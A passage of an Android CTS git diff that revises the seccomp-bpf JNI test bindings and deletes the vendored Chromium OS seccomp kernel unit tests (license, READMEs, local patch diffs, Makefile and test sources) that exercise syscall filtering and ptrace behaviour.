+#elif defined(__x86_64__)
+    string = "x86-64";
+#else
+    return nullptr;
+#endif
+    return env->NewStringUTF(string);
+}
+
 jint android_security_cts_SeccompBpfTest_getClockBootTime(JNIEnv*, jclass) {
-  struct timespec ts;
-  int rv = clock_gettime(CLOCK_BOOTTIME, &ts);
-  return rv;
+    struct timespec ts;
+    int rv = clock_gettime(CLOCK_BOOTTIME_ALARM, &ts);
+    return rv;
 }
 
 static JNINativeMethod methods[] = {
     { "runKernelUnitTest", "(Ljava/lang/String;)Z",
         (void*)android_security_cts_SeccompBpfTest_runKernelUnitTest },
-    { "installTestFilter", "()Z",
-        (void*)android_security_cts_SeccompBpfTest_installTestFilter },
+    { "nativeInstallTestFilter", "(I)Z",
+        (void*)android_security_cts_SeccompBpfTest_nativeInstallTestFilter },
+    { "getPolicyAbiString", "()Ljava/lang/String;",
+        (void*)android_security_cts_SeccompBpfTest_getPolicyAbiString },
     { "getClockBootTime", "()I",
         (void*)android_security_cts_SeccompBpfTest_getClockBootTime },
 };
diff --git a/tests/tests/os/jni/seccomp-tests/LICENSE b/tests/tests/os/jni/seccomp-tests/LICENSE
deleted file mode 100644
index b9e779f..0000000
--- a/tests/tests/os/jni/seccomp-tests/LICENSE
+++ /dev/null
@@ -1,27 +0,0 @@
-// Copyright 2014 The Chromium OS Authors. All rights reserved.
-//
-// Redistribution and use in source and binary forms, with or without
-// modification, are permitted provided that the following conditions are
-// met:
-//
-//    * Redistributions of source code must retain the above copyright
-// notice, this list of conditions and the following disclaimer.
-//    * Redistributions in binary form must reproduce the above
-// copyright notice, this list of conditions and the following disclaimer
-// in the documentation and/or other materials provided with the
-// distribution.
-//    * Neither the name of Google Inc. nor the names of its
-// contributors may be used to endorse or promote products derived from
-// this software without specific prior written permission.
-//
-// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
-// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
-// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
-// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
-// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
-// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
-// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
-// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
-// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
-// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
-// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
diff --git a/tests/tests/os/jni/seccomp-tests/README b/tests/tests/os/jni/seccomp-tests/README
deleted file mode 100644
index c8cd2ad..0000000
--- a/tests/tests/os/jni/seccomp-tests/README
+++ /dev/null
@@ -1,4 +0,0 @@
-seccomp
--------
-
-Landing place for code relating to seccomp_filter work for the Linux kernel.
diff --git a/tests/tests/os/jni/seccomp-tests/README.android b/tests/tests/os/jni/seccomp-tests/README.android
deleted file mode 100644
index a819ee5..0000000
--- a/tests/tests/os/jni/seccomp-tests/README.android
+++ /dev/null
@@ -1,20 +0,0 @@
-This is the kernel unittest for seccomp-bpf sandboxing.
-
-URL: https://github.com/redpig/seccomp
-Revision: e65c79a14dc2bbb6d8dbf12ebf71905e2253a4b2
-License: BSD
-
-Local modifications:
-- Remove usage of pthread_cancel()
-- Use __android_log_print() instead of fprintf()
-- Rename main() to seccomp_test_main()
-- Add get_seccomp_test_list()
-- Backport TEST(syscall_restart) from upstream
-
-The diff of modifications can be found in local-modifications-android.diff
-and local-modifications-android-2.diff. Note, the TEST(syscall_restart)
-backport is the only change in local-modifications-android-2.diff
-
-Additional modification is to backport fixes for Android Native Bridge:
-https://patchwork.kernel.org/patch/7537891/. This is not found in the above
-diff file. The patch is located in local-modifications-strict-args-fd88d16.diff.
diff --git a/tests/tests/os/jni/seccomp-tests/local-modifications-android-2.diff b/tests/tests/os/jni/seccomp-tests/local-modifications-android-2.diff
deleted file mode 100644
index b56fc359..0000000
--- a/tests/tests/os/jni/seccomp-tests/local-modifications-android-2.diff
+++ /dev/null
@@ -1,153 +0,0 @@
-diff --git a/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c b/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
-index 3c238e6..7481dd2 100644
---- a/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
-+++ b/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
-@@ -19,7 +19,6 @@
- #include <linux/prctl.h>
- #include <linux/ptrace.h>
- #include <linux/seccomp.h>
--#include <poll.h>
- #include <pthread.h>
- #include <semaphore.h>
- #include <signal.h>
-@@ -28,6 +27,7 @@
- #include <string.h>
- #include <linux/elf.h>
- #include <sys/uio.h>
-+#include <sys/utsname.h>
- #include <fcntl.h>  // ANDROID
- #include <sys/mman.h>
- #include <sys/times.h>
-@@ -1798,7 +1798,8 @@ TEST_F(TSYNC, two_siblings_not_under_filter) {
- }
- 
- /* Make sure restarted syscalls are seen directly as "restart_syscall". */
--TEST(syscall_restart) {
-+TEST(syscall_restart)
-+{
- 	long ret;
- 	unsigned long msg;
- 	pid_t child_pid;
-@@ -1815,20 +1816,25 @@ TEST(syscall_restart) {
- 		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_read, 5, 0),
- 		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_exit, 4, 0),
- 		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_rt_sigreturn, 3, 0),
--		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_poll, 4, 0),
-+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_nanosleep, 4, 0),
- 		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_restart_syscall, 4, 0),
- 
- 		/* Allow __NR_write for easy logging. */
- 		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_write, 0, 1),
- 		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
- 		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
--		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE|0x100), /* poll */
--		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE|0x200), /* restart */
-+		/* The nanosleep jump target. */
-+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE|0x100),
-+		/* The restart_syscall jump target. */
-+		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_TRACE|0x200),
- 	};
- 	struct sock_fprog prog = {
--		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
-+		.len = (unsigned short) (sizeof(filter)/sizeof(filter[0])),
- 		.filter = filter,
- 	};
-+#if defined(__arm__)
-+	struct utsname utsbuf;
-+#endif
- 
- 	ASSERT_EQ(0, pipe(pipefd));
- 
-@@ -1837,10 +1843,7 @@ TEST(syscall_restart) {
- 	if (child_pid == 0) {
- 		/* Child uses EXPECT not ASSERT to deliver status correctly. */
- 		char buf = ' ';
--		struct pollfd fds = {
--			.fd = pipefd[0],
--			.events = POLLIN,
--		};
-+		struct timespec timeout = { };
- 
- 		/* Attach parent as tracer and stop. */
- 		EXPECT_EQ(0, ptrace(PTRACE_TRACEME));
-@@ -1864,10 +1867,11 @@ TEST(syscall_restart) {
- 			TH_LOG("Failed to get sync data from read()");
- 		}
- 
--		/* Start poll to be interrupted. */
-+		/* Start nanosleep to be interrupted. */
-+		timeout.tv_sec = 1;
- 		errno = 0;
--		EXPECT_EQ(1, poll(&fds, 1, -1)) {
--			TH_LOG("Call to poll() failed (errno %d)", errno);
-+		EXPECT_EQ(0, nanosleep(&timeout, NULL)) {
-+			TH_LOG("Call to nanosleep() failed (errno %d)", errno);
- 		}
- 
- 		/* Read final sync from parent. */
-@@ -1892,14 +1896,14 @@ TEST(syscall_restart) {
- 	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
- 	ASSERT_EQ(1, write(pipefd[1], ".", 1));
- 
--	/* Wait for poll() to start. */
-+	/* Wait for nanosleep() to start. */
- 	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
- 	ASSERT_EQ(true, WIFSTOPPED(status));
- 	ASSERT_EQ(SIGTRAP, WSTOPSIG(status));
- 	ASSERT_EQ(PTRACE_EVENT_SECCOMP, (status >> 16));
- 	ASSERT_EQ(0, ptrace(PTRACE_GETEVENTMSG, child_pid, NULL, &msg));
- 	ASSERT_EQ(0x100, msg);
--	EXPECT_EQ(__NR_poll, get_syscall(_metadata, child_pid));
-+	EXPECT_EQ(__NR_nanosleep, get_syscall(_metadata, child_pid));
- 
- 	/* Might as well check siginfo for sanity while we're here. */
- 	ASSERT_EQ(0, ptrace(PTRACE_GETSIGINFO, child_pid, NULL, &info));
-@@ -1910,7 +1914,7 @@ TEST(syscall_restart) {
- 	/* Verify signal delivery came from child (seccomp-triggered). */
- 	EXPECT_EQ(child_pid, info.si_pid);
- 
--	/* Interrupt poll with SIGSTOP (which we'll need to handle). */
-+	/* Interrupt nanosleep with SIGSTOP (which we'll need to handle). */
- 	ASSERT_EQ(0, kill(child_pid, SIGSTOP));
- 	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
- 	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-@@ -1920,7 +1924,7 @@ TEST(syscall_restart) {
- 	ASSERT_EQ(0, ptrace(PTRACE_GETSIGINFO, child_pid, NULL, &info));
- 	EXPECT_EQ(getpid(), info.si_pid);
- 
--	/* Restart poll with SIGCONT, which triggers restart_syscall. */
-+	/* Restart nanosleep with SIGCONT, which triggers restart_syscall. */
- 	ASSERT_EQ(0, kill(child_pid, SIGCONT));
- 	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
- 	ASSERT_EQ(child_pid, waitpid(child_pid, &status, 0));
-@@ -1934,16 +1938,25 @@ TEST(syscall_restart) {
- 	ASSERT_EQ(SIGTRAP, WSTOPSIG(status));
- 	ASSERT_EQ(PTRACE_EVENT_SECCOMP, (status >> 16));
- 	ASSERT_EQ(0, ptrace(PTRACE_GETEVENTMSG, child_pid, NULL, &msg));
-+
- 	ASSERT_EQ(0x200, msg);
- 	ret = get_syscall(_metadata, child_pid);
- #if defined(__arm__)
--	/* FIXME: ARM does not expose true syscall in registers. */
--	EXPECT_EQ(__NR_poll, ret);
--#else
--	EXPECT_EQ(__NR_restart_syscall, ret);
-+	/*
-+	 * FIXME:
-+	 * - native ARM registers do NOT expose true syscall.
-+	 * - compat ARM registers on ARM64 DO expose true syscall.
-+	 */
-+	ASSERT_EQ(0, uname(&utsbuf));
-+	if (strncmp(utsbuf.machine, "arm", 3) == 0) {
-+		EXPECT_EQ(__NR_nanosleep, ret);
-+	} else
- #endif
-+	{
-+		EXPECT_EQ(__NR_restart_syscall, ret);
-+	}
- 
--	/* Write again to end poll. */
-+	/* Write again to end test. */
- 	ASSERT_EQ(0, ptrace(PTRACE_CONT, child_pid, NULL, 0));
- 	ASSERT_EQ(1, write(pipefd[1], "!", 1));
- 	EXPECT_EQ(0, close(pipefd[1]));
diff --git a/tests/tests/os/jni/seccomp-tests/local-modifications-android.diff b/tests/tests/os/jni/seccomp-tests/local-modifications-android.diff
deleted file mode 100644
index 288261a..0000000
--- a/tests/tests/os/jni/seccomp-tests/local-modifications-android.diff
+++ /dev/null
@@ -1,59 +0,0 @@
-diff --git a/tests/seccomp_bpf_tests.c b/tests/seccomp_bpf_tests.c
-index deb78d1..98b0231 100644
---- a/tests/seccomp_bpf_tests.c
-+++ b/tests/seccomp_bpf_tests.c
-@@ -1457,7 +1457,7 @@ FIXTURE_TEARDOWN(TSYNC) {
- 		if (!s->tid)
- 			continue;
- 		if (pthread_kill(s->tid, 0)) {
--			pthread_cancel(s->tid);
-+			//pthread_cancel(s->tid);  // ANDROID
- 			pthread_join(s->tid, &status);
- 		}
- 	}
-@@ -1940,4 +1940,10 @@ TEST(syscall_restart) {
-  * - ...
-  */
- 
-+// ANDROID:begin
-+struct __test_metadata* get_seccomp_test_list() {
-+  return __test_list;
-+}
-+// ANDROID:end
-+
- TEST_HARNESS_MAIN
-diff --git a/tests/test_harness.h b/tests/test_harness.h
-index 47ee027..597e40c 100644
---- a/tests/test_harness.h
-+++ b/tests/test_harness.h
-@@ -49,6 +49,8 @@
- #include <sys/wait.h>
- #include <unistd.h>
- 
-+#include <android/log.h>  // ANDROID
-+
- /* All exported functionality should be declared through this macro. */
- #define TEST_API(x) _##x
- 
-@@ -206,9 +208,11 @@
- } while (0)
- 
- /* Unconditional logger for internal use. */
-+// ANDROID:begin
- #define __TH_LOG(fmt, ...) \
--    fprintf(TH_LOG_STREAM, "%s:%d:%s:" fmt "\n", \
-+    __android_log_print(ANDROID_LOG_ERROR, "SeccompBpfTest-KernelUnit", "%s:%d:%s:" fmt "\n", \
-             __FILE__, __LINE__, _metadata->name, ##__VA_ARGS__)
-+// ANDROID:end
- 
- /* Defines the test function and creates the registration stub. */
- #define _TEST(test_name) __TEST_IMPL(test_name, -1)
-@@ -292,7 +296,7 @@
-     if (!__constructor_order) \
-       __constructor_order = _CONSTRUCTOR_ORDER_BACKWARD; \
-   } \
--  int main(int argc, char **argv) { return test_harness_run(argc, argv); }
-+  int seccomp_test_main(int argc, char **argv) { return test_harness_run(argc, argv); }  // ANDROID
- 
- #define _ASSERT_EQ(_expected, _seen) \
-   __EXPECT(_expected, _seen, ==, 1)
diff --git a/tests/tests/os/jni/seccomp-tests/local-modifications-strict-args-fd88d16.diff b/tests/tests/os/jni/seccomp-tests/local-modifications-strict-args-fd88d16.diff
deleted file mode 100644
index a289147..0000000
--- a/tests/tests/os/jni/seccomp-tests/local-modifications-strict-args-fd88d16.diff
+++ /dev/null
@@ -1,102 +0,0 @@
-diff --git a/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c b/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
-index 98b0231..3c238e6 100644
---- a/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
-+++ b/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
-@@ -28,6 +28,9 @@
- #include <string.h>
- #include <linux/elf.h>
- #include <sys/uio.h>
-+#include <fcntl.h>  // ANDROID
-+#include <sys/mman.h>
-+#include <sys/times.h>
- 
- #define _GNU_SOURCE
- #include <unistd.h>
-@@ -386,14 +389,16 @@ TEST_SIGNAL(KILL_one, SIGSYS) {
- }
- 
- TEST_SIGNAL(KILL_one_arg_one, SIGSYS) {
-+	void *fatal_address;
- 	struct sock_filter filter[] = {
- 		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
- 			offsetof(struct seccomp_data, nr)),
--		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 1, 0),
-+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_times, 1, 0),
- 		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
- 		/* Only both with lower 32-bit for now. */
- 		BPF_STMT(BPF_LD|BPF_W|BPF_ABS, syscall_arg(0)),
--		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, 0x0C0FFEE, 0, 1),
-+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K,
-+			(unsigned long)&fatal_address, 0, 1),
- 		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_KILL),
- 		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
- 	};
-@@ -403,23 +408,29 @@ TEST_SIGNAL(KILL_one_arg_one, SIGSYS) {
- 	};
- 	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
- 	pid_t parent = getppid();
--	pid_t pid = getpid();
-+	struct tms timebuf;
-+	clock_t clock = times(&timebuf);
- 	ASSERT_EQ(0, ret);
- 
- 	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
- 	ASSERT_EQ(0, ret);
- 
- 	EXPECT_EQ(parent, syscall(__NR_getppid));
--	EXPECT_EQ(pid, syscall(__NR_getpid));
--	/* getpid() should never return. */
--	EXPECT_EQ(0, syscall(__NR_getpid, 0x0C0FFEE));
-+	EXPECT_LE(clock, syscall(__NR_times, &timebuf));
-+	/* times() should never return. */
-+	EXPECT_EQ(0, syscall(__NR_times, &fatal_address));
- }
- 
- TEST_SIGNAL(KILL_one_arg_six, SIGSYS) {
-+#ifndef __NR_mmap2
-+	int sysno = __NR_mmap;
-+#else
-+	int sysno = __NR_mmap2;
-+#endif
- 	struct sock_filter filter[] = {
- 		BPF_STMT(BPF_LD|BPF_W|BPF_ABS,
- 			offsetof(struct seccomp_data, nr)),
--		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, __NR_getpid, 1, 0),
-+		BPF_JUMP(BPF_JMP|BPF_JEQ|BPF_K, sysno, 1, 0),
- 		BPF_STMT(BPF_RET|BPF_K, SECCOMP_RET_ALLOW),
- 		/* Only both with lower 32-bit for now. */
- 		BPF_STMT(BPF_LD|BPF_W|BPF_ABS, syscall_arg(5)),
-@@ -433,16 +444,29 @@ TEST_SIGNAL(KILL_one_arg_six, SIGSYS) {
- 	};
- 	long ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
- 	pid_t parent = getppid();
--	pid_t pid = getpid();
-+	int fd;
-+	void *map1, *map2;
- 	ASSERT_EQ(0, ret);
- 
- 	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog);
- 	ASSERT_EQ(0, ret);
- 
-+	fd = open("/dev/zero", O_RDONLY);
-+	ASSERT_NE(-1, fd);
-+
- 	EXPECT_EQ(parent, syscall(__NR_getppid));
--	EXPECT_EQ(pid, syscall(__NR_getpid));
--	/* getpid() should never return. */
--	EXPECT_EQ(0, syscall(__NR_getpid, 1, 2, 3, 4, 5, 0x0C0FFEE));
-+	map1 = (void *)syscall(sysno,
-+		NULL, PAGE_SIZE, PROT_READ, MAP_PRIVATE, fd, PAGE_SIZE);
-+	EXPECT_NE(MAP_FAILED, map1);
-+	/* mmap2() should never return. */
-+	map2 = (void *)syscall(sysno,
-+		 NULL, PAGE_SIZE, PROT_READ, MAP_PRIVATE, fd, 0x0C0FFEE);
-+	EXPECT_EQ(MAP_FAILED, map2);
-+
-+	/* The test failed, so clean up the resources. */
-+	munmap(map1, PAGE_SIZE);
-+	munmap(map2, PAGE_SIZE);
-+	close(fd);
- }
- 
- /* TODO(wad) add 64-bit versus 32-bit arg tests. */
diff --git a/tests/tests/os/jni/seccomp-tests/tests/.gitignore b/tests/tests/os/jni/seccomp-tests/tests/.gitignore
deleted file mode 100644
index cdfc7c6..0000000
--- a/tests/tests/os/jni/seccomp-tests/tests/.gitignore
+++ /dev/null
@@ -1,3 +0,0 @@
-sigsegv
-resumption
-seccomp_bpf_tests
diff --git a/tests/tests/os/jni/seccomp-tests/tests/Makefile b/tests/tests/os/jni/seccomp-tests/tests/Makefile
deleted file mode 100644
index 88994b3..0000000
--- a/tests/tests/os/jni/seccomp-tests/tests/Makefile
+++ /dev/null
@@ -1,23 +0,0 @@
-CFLAGS += -Wall
-EXEC=resumption seccomp_bpf_tests sigsegv
-
-all: $(EXEC)
-
-clean:
-	rm -f $(EXEC)
-
-seccomp_bpf_tests: seccomp_bpf_tests.c test_harness.h
-	$(CC) seccomp_bpf_tests.c -o seccomp_bpf_tests $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) -pthread
-
-resumption: resumption.c test_harness.h
-	$(CC) $^ -o $@ $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) -ggdb3
-
-sigsegv: sigsegv.c test_harness.h
-	$(CC) $^ -o $@ $(CFLAGS) $(CPPFLAGS) $(LDFLAGS) -ggdb3
-
-run_tests: $(EXEC)
-	./seccomp_bpf_tests
-	./resumption
-	./sigsegv
-
-.PHONY: clean run_tests
diff --git a/tests/tests/os/jni/seccomp-tests/tests/resumption.c b/tests/tests/os/jni/seccomp-tests/tests/resumption.c
deleted file mode 100644
index 41795c0..0000000
--- a/tests/tests/os/jni/seccomp-tests/tests/resumption.c
+++ /dev/null
@@ -1,217 +0,0 @@
-/* seccomp_bpf_tests.c
- * Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
- * Use of this source code is governed by a BSD-style license that can be
- * found in the LICENSE file.
- *
- * Test code for seccomp bpf.
- */
-
-#include <asm/siginfo.h>
-#define __have_siginfo_t 1
-#define __have_sigval_t 1
-#define __have_sigevent_t 1
-
-#include <linux/filter.h>
-#include <sys/prctl.h>
-#include <linux/prctl.h>
-#include <linux/seccomp.h>
-#include <stddef.h>
-#include <stdbool.h>
-#include <string.h>
-#include <syscall.h>
-#define __USE_GNU 1
-#include <sys/ucontext.h>
-#include <sys/mman.h>
-
-#include "test_harness.h"
-
-#ifndef PR_SET_NO_NEW_PRIVS
-#define PR_SET_NO_NEW_PRIVS 38
-#define PR_GET_NO_NEW_PRIVS 39
-#endif
-
-#if defined(__i386__)
-#define REG_IP	REG_EIP
-#define REG_SP	REG_ESP
-#define REG_RESULT	REG_EAX
-#define REG_SYSCALL	REG_EAX
-#define REG_ARG0	REG_EBX
-#define REG_ARG1	REG_ECX
-#define REG_ARG2	REG_EDX
-#define REG_ARG3	REG_ESI
-#define REG_ARG4	REG_EDI
-#define REG_ARG5	REG_EBP
-#elif defined(__x86_64__)
-#define REG_IP	REG_RIP
-#define REG_SP	REG_RSP
-#define REG_RESULT	REG_RAX
-#define REG_SYSCALL	REG_RAX
-#define REG_ARG0	REG_RDI
-#define REG_ARG1	REG_RSI
-#define REG_ARG2	REG_RDX
-#define REG_ARG3	REG_R10
-#define REG_ARG4	REG_R8
-#define REG_ARG5	REG_R9
-#endif
-
-FIXTURE_DATA(TRAP) {
-	struct sock_fprog prog;
-};
-
-/* XXX: will need one per arch, etc.
- *      thankfully _arch can tell us the calling convention!
- */
-extern void *thunk_ip;	/* label for the instruction _after_ syscall */
-static void syscall_thunk(void)
-{
-	asm("syscall; thunk_ip:");
-}
-
-static time_t vsyscall_time(time_t *p)
-{
-	register time_t t asm ("rax");
-	__attribute__((unused)) register time_t *p1 asm ("rdi") = p;
-	__asm__("call 0xffffffffff600400 \n");
-	return t;
-}
-
-
-#if 0
-/* For instance, we could jump here instead. */
-static void compat_thunk(void)
-{
-	asm("int 0x80");
-}
-#endif
-
-FIXTURE_SETUP(TRAP) {
-	/* instruction after the syscall. Will be arch specific, of course. */
-	unsigned long thunk_addr = (unsigned long)&thunk_ip;
-	TH_LOG("Thunk: 0x%lX\n", thunk_addr);
-	{
-		struct sock_filter filter[] = {
-			BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
-				offsetof(struct seccomp_data, nr)),
-			/* Whitelist anything you might need in the sigaction */
-#ifdef __NR_sigreturn
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_sigreturn, 3, 0),
-#endif
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_exit, 2, 0),
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_rt_sigreturn, 1, 0),
-			/* Allow __NR_write so easy logging. */
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_write, 0, 1),
-			BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
-			/* Check if we're within the thunk. */
-			BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
-				offsetof(struct seccomp_data, instruction_pointer)),
-			/* XXX: make this 32-bit friendly. */
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ((__u32*)&thunk_addr)[0], 0, 3),
-			BPF_STMT(BPF_LD+BPF_W+BPF_ABS,
-				offsetof(struct seccomp_data, instruction_pointer)+sizeof(int)),
-			BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ((__u32*)&thunk_addr)[1], 0, 1),
-			BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW),
-			BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_TRAP),
-		};
-		memset(&self->prog, 0, sizeof(self->prog));
-		self->prog.filter = malloc(sizeof(filter));
-		ASSERT_NE(NULL, self->prog.filter);
-		memcpy(self->prog.filter, filter, sizeof(filter));
-		self->prog.len = (unsigned short)(sizeof(filter)/sizeof(filter[0]));
-	}
-}
-
-FIXTURE_TEARDOWN(TRAP) {
-	if (self->prog.filter)
-		free(self->prog.filter);
-};
-
-struct arch_sigsys {
-		void *_call_addr; /* calling user insn */
-		int _syscall;	/* triggering system call number */
-		unsigned int _arch;	/* AUDIT_ARCH_* of syscall */
-};
-
-static void TRAP_action(int nr, siginfo_t *info, void *void_context)
-{
-	ucontext_t *ctx = (ucontext_t *)void_context;
-	char buf[256];
-	int len;
-	int do_ret = 1;
-	struct arch_sigsys *sys = (struct arch_sigsys *)
-#ifdef si_syscall
-		&(info->si_call_addr);
-#else
-		&(info->si_pid);
-#endif
-
-	if (info->si_code != SYS_SECCOMP)
-		return;
-	if (!ctx)
-		return;
-	len = snprintf(buf, sizeof(buf),
-			"@0x%lX:%X:%d:0x%lX:0x%lX:0x%lX:0x%lX:0x%lX:0x%lX\n",
-			(unsigned long)sys->_call_addr,
-			sys->_arch,
-			sys->_syscall,
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG0],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG1],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG2],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG3],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG4],
-			(unsigned long)ctx->uc_mcontext.gregs[REG_ARG5]);
-	/* Send the soft-fail to our "listener" */
-	syscall(__NR_write, STDOUT_FILENO, buf, len);
-	if (ctx->uc_mcontext.gregs[REG_IP] >= 0xffffffffff600000ULL &&
-	    ctx->uc_mcontext.gregs[REG_IP] < 0xffffffffff601000ULL)
-		do_ret = 0;
-	if (do_ret) {
-		/* push [REG_IP] */
-		ctx->uc_mcontext.gregs[REG_SP] -= sizeof(unsigned long);
-		*((unsigned long *)ctx->uc_mcontext.gregs[REG_SP]) =
-		    ctx->uc_mcontext.gregs[REG_IP];
-	}
-	/* jmp syscall_thunk */
-	ctx->uc_mcontext.gregs[REG_IP] = (unsigned long)syscall_thunk;
-	return;
-}
-
-TEST_F(TRAP, handler) {
-	int ret;
-	struct sigaction act;
-	pid_t pid;
-	sigset_t mask;
-	memset(&act, 0, sizeof(act));
-	sigemptyset(&mask);
-	sigaddset(&mask, SIGSYS);
-
-	act.sa_sigaction = &TRAP_action;
-	act.sa_flags = SA_SIGINFO;
-	ret = sigaction(SIGSYS, &act, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("sigaction failed");
-	}
-	ret = sigprocmask(SIG_UNBLOCK, &mask, NULL);
-	ASSERT_EQ(0, ret) {
-		TH_LOG("sigprocmask failed");
-	}
-
-	/* Get the pid to compare against. */
-	pid = getpid();
-
-	ret = prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0);
-	ASSERT_EQ(0, ret);
-	ret = prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &self->prog);
-	ASSERT_EQ(0, ret);
-
-	/* Call anything! */
-	ret = syscall(__NR_getpid);
-	ASSERT_EQ(pid, ret);
-	ret = syscall(__NR_close, 0);
-	ASSERT_EQ(0, ret);
-	ret = syscall(__NR_close, 0);
-	ASSERT_EQ(-1, ret);
-	printf("The time is %ld\n", vsyscall_time(NULL));
-	ASSERT_LT(0, vsyscall_time(NULL));
-}
-
-TEST_HARNESS_MAIN
diff --git a/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c b/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
deleted file mode 100644
index 7481dd2..0000000
--- a/tests/tests/os/jni/seccomp-tests/tests/seccomp_bpf_tests.c
+++ /dev/null
@@ -1,1986 +0,0 @@
-/* seccomp_bpf_tests.c
- * Copyright (c) 2012 The Chromium OS Authors. All rights reserved.
- * Use of this source code is governed by a BSD-style license that can be
- * found in the LICENSE file.
- *
- * Test code for seccomp bpf.
- */
-
-#include <asm/siginfo.h>
-#define __have_siginfo_t 1
-#define __have_sigval_t 1
-#define __have_sigevent_t 1
-
-#include <errno.h>
-#include <linux/filter.h>
-#include <sys/prctl.h>
-#include <sys/ptrace.h>
-#include <sys/user.h>
-#include <linux/prctl.h>
-#include <linux/ptrace.h>
-#include <linux/seccomp.h>
-#include <pthread.h>
-#include <semaphore.h>
-#include <signal.h>
-#include <stddef.h>
-#include <stdbool.h>
-#include <string.h>
-#include <linux/elf.h>
-#include <sys/uio.h>
-#include <sys/utsname.h>
-#include <fcntl.h>  // ANDROID
-#include <sys/mman.h>
-#include <sys/times.h>
-
-#define _GNU_SOURCE
-#include <unistd.h>
-#include <sys/syscall.h>
-
-#include "test_harness.h"
-
-#ifndef PR_SET_PTRACER
-# define PR_SET_PTRACER 0x59616d61
-#endif
-
-#ifndef PR_SET_NO_NEW_PRIVS
-#define PR_SET_NO_NEW_PRIVS 38
-#define PR_GET_NO_NEW_PRIVS 39
-#endif
-
-#ifndef PR_SECCOMP_EXT
-#define PR_SECCOMP_EXT 43
-#endif
-
